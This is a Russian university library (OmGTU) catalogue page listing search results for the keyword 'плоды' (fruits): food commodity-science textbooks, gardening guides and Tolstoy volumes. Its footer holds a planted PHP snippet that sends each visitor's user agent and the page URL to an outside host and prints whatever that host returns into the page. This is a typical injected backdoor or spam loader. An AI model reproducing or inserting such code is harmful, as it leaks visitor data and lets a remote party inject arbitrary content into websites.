Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

38 пользователей


Зарегистрированных: 2 

Миронов Марк Васильевич

Карпова Инна Сергеевна


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ПЛОДЫ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 107
1. 
Справочник по товароведению продовольственных товаров [Текст] : Справочники/словари / Под ред. Т.Г.Родиной, 2003. - 608 с.
Ключевые слова 
ТОВАРОВЕДЕНИЕ -- Товары продовольственные -- ЦЕННОСТЬ ПИЩИ ЭНЕРГЕТИЧЕСКАЯ -- ЦЕННОСТЬ ПИЩИ биологическая -- ЦЕННОСТЬ ПИЩИ физиологическая -- ЦЕННОСТЬ ПИЩИ органолептическая -- Усвояемость пищи -- КОДИРОВАНИЕ ТОВАРА -- МАРКИРОВКА ТОВАРА -- ИНФОРМАЦИЯ О ТОВАРЕ -- БЕЗОПАСНОСТЬ пищевых продуктов -- Безопасность эпидемиологическая -- ТАРА -- УПАКОВКА -- УТИЛИЗАЦИЯ тары -- ДОБАВКА ПИЩЕВАЯ -- Краситель пищевой -- Консервант -- Антиокислитель -- Ароматизатор -- Препарат коптильный -- ТОВАРЫ зерномучные -- Зерно -- Мука -- Крупа -- МАКАРОНЫ -- Хлеб -- СУХАРИ -- ПЛОДЫ -- ОВОЩИ -- ГРИБЫ -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- РЕЗИНКА ЖЕВАТЕЛЬНАЯ -- Карамель -- Шоколад -- КАКАО - порошок -- Конфеты -- Ирис -- Драже -- Халва -- Печенье -- ВАФЛИ -- ПИРОЖНЫЕ -- ТОРТЫ -- РУЛЕТ -- КЕКС -- Сладости восточные -- КОНЦЕНТРАТ ПИЩЕВОЙ -- ПРОДУКТЫ детского питания -- ТОВАРЫ вкусовые -- ЖИР ПИЩЕВОЙ -- МОЛОКО -- Сметана -- Сыр -- ТОВАРЫ молочные -- ЯЙЦЕПРОДУКТЫ -- МЯСО -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- КОНСЕРВЫ РЫБНЫЕ -- ПРЕСЕРВЫ РЫБНЫЕ
Держатели документа (Информация об экземплярах) 
2. 
Ларина, Татьяна Вячеславовна. Тропические и субтропические плоды [Текст] : Справочник товароведа / Т. В. Ларина, 2002. - 256 с.
Держатели документа (Информация об экземплярах) 
3. 
Товароведение и экспертиза потребительских товаров [Текст] : Учебник гриф-МО / рук. работы В. В. Шевченко, 2009. - 752 с.
Держатели документа (Информация об экземплярах) 
4. 
Холодильная технология пищевых продуктов [Текст] : учеб. для вузов по специальности 260504 (270800) "Технология консервов и пищеконцентратов" направления подгот. дипломир. специалиста 260500 (655700) "Технология продовольственных продуктов социального назначения и общественного питания" : в 3 ч. Ч. 3 : Биохимические и физико-химические основы / В. Е. Куцакова [и др.], 2011. - 269, [1] с.
Держатели документа (Информация об экземплярах) 

В третьей части учебника рассмотрены биохимические процессы, происходящие в продуктах животного и растительного происхождения при охлаждении, замораживании, холодильном хранении и отеплении. Рассмотрены химический состав и строение тканей животного и растительного происхождения, процессы дыхания и брожения в продуктах растительного происхождения и автолитические процессы в тканях животного происхождения. Дан анализ влияния скорости протекания биохимических процессов на качество конечных продуктов.

5. 
Товароведение продовольственных товаров [Текст] : Уч.пособие / Л. А. Боровикова, В. А. Герасимова, А. М. Евдокимов, 1988. - 352 с.
Ключевые слова 
ТОВАРОВЕДЕНИЕ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ТОВАРОВЕДЕНИЕ - ТЕОРИЯ -- СОСТАВ ХИМИЧЕСКИЙ ПРОДУКТОВ -- ПОЛЕЗНОСТЬ ПИЩЕВЫХ ПРОДУКТОВ -- КАЧЕСТВО ПИЩЕВЫХ ПРОДУКТОВ -- СТАНДАРТИЗАЦИЯ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- КЛАССИФИКАЦИЯ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ХРАНЕНИЕ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ТАРА -- МАТЕРИАЛ УПАКОВОЧНЫЙ -- КОНСЕРВИРОВАНИЕ ПРОДТОВАРОВ -- ПОТЕРИ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- МИКРОБИОЛОГИЯ ПИЩЕВЫХ ПРОДУКТОВ -- ТОВАРЫ ЗЕРНОМУЧНЫЕ -- ОВОЩИ -- ПЛОДЫ -- ГРИБЫ -- ТОВАРЫ ВКУСОВЫЕ -- КРАХМАЛ -- САХАР -- МЕД -- ТОВАРЫ КОНДИТЕРСКИЕ -- ЖИР ПИЩЕВОЙ -- МОЛОКО -- ТОВАРЫ МОЛОЧНЫЕ -- МЯСО -- ТОВАРЫ РЫБНЫЕ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- РЫБА -- ТОВАРЫ РЫБНЫЕ -- ИКРА -- КОНСЕРВЫ РЫБНЫЕ -- ПРЕСЕРВЫ РЫБНЫЕ
Держатели документа (Информация об экземплярах) 
6. 
Чепурной, И. П. Идентификация и фальсификация продовольственных товаров [Текст] : учебник / И. П. Чепурной, 2002. - 460 с.
Держатели документа (Информация об экземплярах) 
7. 
Экспертиза продовольственных товаров [Текст] : Лабораторный практикум: Учеб. пособие: Рекомендовано УМО для студентов, обуч. по специальностям 260504.65 "Технология консервов и птицеконцентратов", 260505.65 "Технология детского и функционального питания" и 260503.65 "Технология субтропических и пищевкусовых продуктов" / ред. Ю. И. Сидоренко, 2011. - 182 с.
Держатели документа (Информация об экземплярах) 
8. 
Чижикова, Ольга Григорьевна. Товароведение и экспертиза плодоовощных и вкусовых товаров [Текст] : Учеб. пособ. в схемах - гриф УМО / О. Г. Чижикова, Е. С. Смертина, Л. А. Коростылева, 2010. - 208 с.

Материал, изложенный в виде схем, рисунков, диаграмм и таблиц, отражает программу курса и содержит информацию по основным веществам пищевых продуктов, классификации, технологии, показателям качества, дефектам, условиям и срокам хранения плодов, овощей, грибов и продуктов их переработки, вкусовых товаров.

Предназначено для студентов, обучающихся по специальности 080401 очной и заочной форм обучения для самостоятельной работы, а также в качестве дополнительного иллюстрированного материалана лекционных и практических занятиях.

9. 
Товароведение и экспертиза в таможенном деле [Текст] : Учебник в четырех томах. Т. III : Теоретические основы. Продовольственные товары : Учебник / С. Н. Гамидуллаев [и др.], 2010. - 400 с.

В третьем томе учебника изложены нормативно-правовые основы таможенной экспертизы в соответствии с новым Таможенным кодексом таможенного союза. Рассмотрены теоретические основы товароведения и экспертизы продовольственных товаров: зерномучных, свежих и переработанных овощей и плодов, сахара, меда, крахмала, кондитерских и вкусовых товаров.

Учебник предназначен для студентов вузов, изучающих дисциплину «Товароведение и экспертиза в таможенном деле» и обучающихся по специальности «Таможенное дело», а также представляет интерес для всех участников потребительского рынка и внешнеэкономической деятельности.

10. 
Толстой, Лев Николаевич. Собрание сочинений [Текст] : в 14 т. Т. 11 : Пьесы (1886-1910), 1952. - 389, [2] с.
Оглавление 
  • Первый винокур, или Как чертенок краюшку заслужил
  • Власть тьмы, или "Коготок увяз, всей птичке пропасть"
  • "Плоды просвещения"
  • Живой труп
  • И свет во тьме светит
  • От ней все качества
Держатели документа (Информация об экземплярах) 
11. 
Толстой, Лев Николаевич. Собрание сочинений [Текст] : в 12 т. Т. 12 : Пьесы / авт. примеч. К. Н. Ломунов, 1976. - 556, [2] с.
Оглавление 
  • Повести и рассказы, 1903-1905
Оглавление 
  • Власть тьмы, или "Коготок увяз, всей птичке пропасть"
  • Плоды просвещения
  • Живой труп
  • Хаджи-Мурат
  • Фальшивый купон
  • Божеское и человеческое
Держатели документа (Информация об экземплярах) 
12. 
Ольгин, Ольгерт Маркович. Плоды земли [Текст] / О. Ольгин, 1991. - 123, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
13. 
Домашняя кладовая [Текст] / сост. В. Донцов [и др.], 1993. - 429, [1] с.
Держатели документа (Информация об экземплярах) 
14. 
Лакшин, Владимир Яковлевич. Пути журнальные [Текст] : из. лит. полемики 60-х гг. / В. Лакшин, 1990. - 426, [2] с.
15. 
Ждамиров, Юрий Иванович. На садовом участке: плоды, цветы, овощи [Текст] / Ю. И. Ждамиров, 1992. - 255, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
16. 
Глебова, Екатерина Ильинична. Ягодный сад [Текст] / Е. И. Глебова, В. В. Даньков, М. М. Скрипниченко, 1990. - 206, [2] с.
Держатели документа (Информация об экземплярах) 
17. 
Толстой, Лев Николаевич. Собрание сочинений [Текст] : в 12 т. Т. 12 / ред. Н. А. Самохвалова, 1987. - 524, [2] с.
Оглавление 
  • Первый винокур, или Как чертенок краюшку заслужил
  • Плоды просвещения
  • Петр Хлебник
  • Живой труп
  • Хаджи-Мурат
Держатели документа (Информация об экземплярах) 
18. 
Толстой, Лев Николаевич. Собрание сочинений [Текст] : в 22 т. Т. 11 : Драматические произведения, 1864-1910 / авт. коммент. Ю. П. Рыбакова ; дар. О. И. Андрюшина, 1982. - 501, [2] с.
Оглавление 
  • Власть тьмы
  • Плоды просвещения
  • Живой труп
Держатели документа (Информация об экземплярах) 
19. 
Плоды щедрости [Текст] : четверостишия : пер. с фарси / сост., авт. примеч. Г. Алиев и Н. Османов, авт. предисл. С. Липкин, 1979. - 461, [2] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
20. 
Алексин, Анатолий Георгиевич. Собрание сочинений [Текст]. Кн. 9 : "Не родись красивой.." : Повести, рассказы, 2001. - 487, [2] с.
Оглавление 
  • Записки Эльвиры
  • Если б их было двое
  • Плоды воспитания
  • ...И Екатерина Ильинична
  • Десятиклассники
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3020 - 16.09.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.34 с.12 запросов, 0.87c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;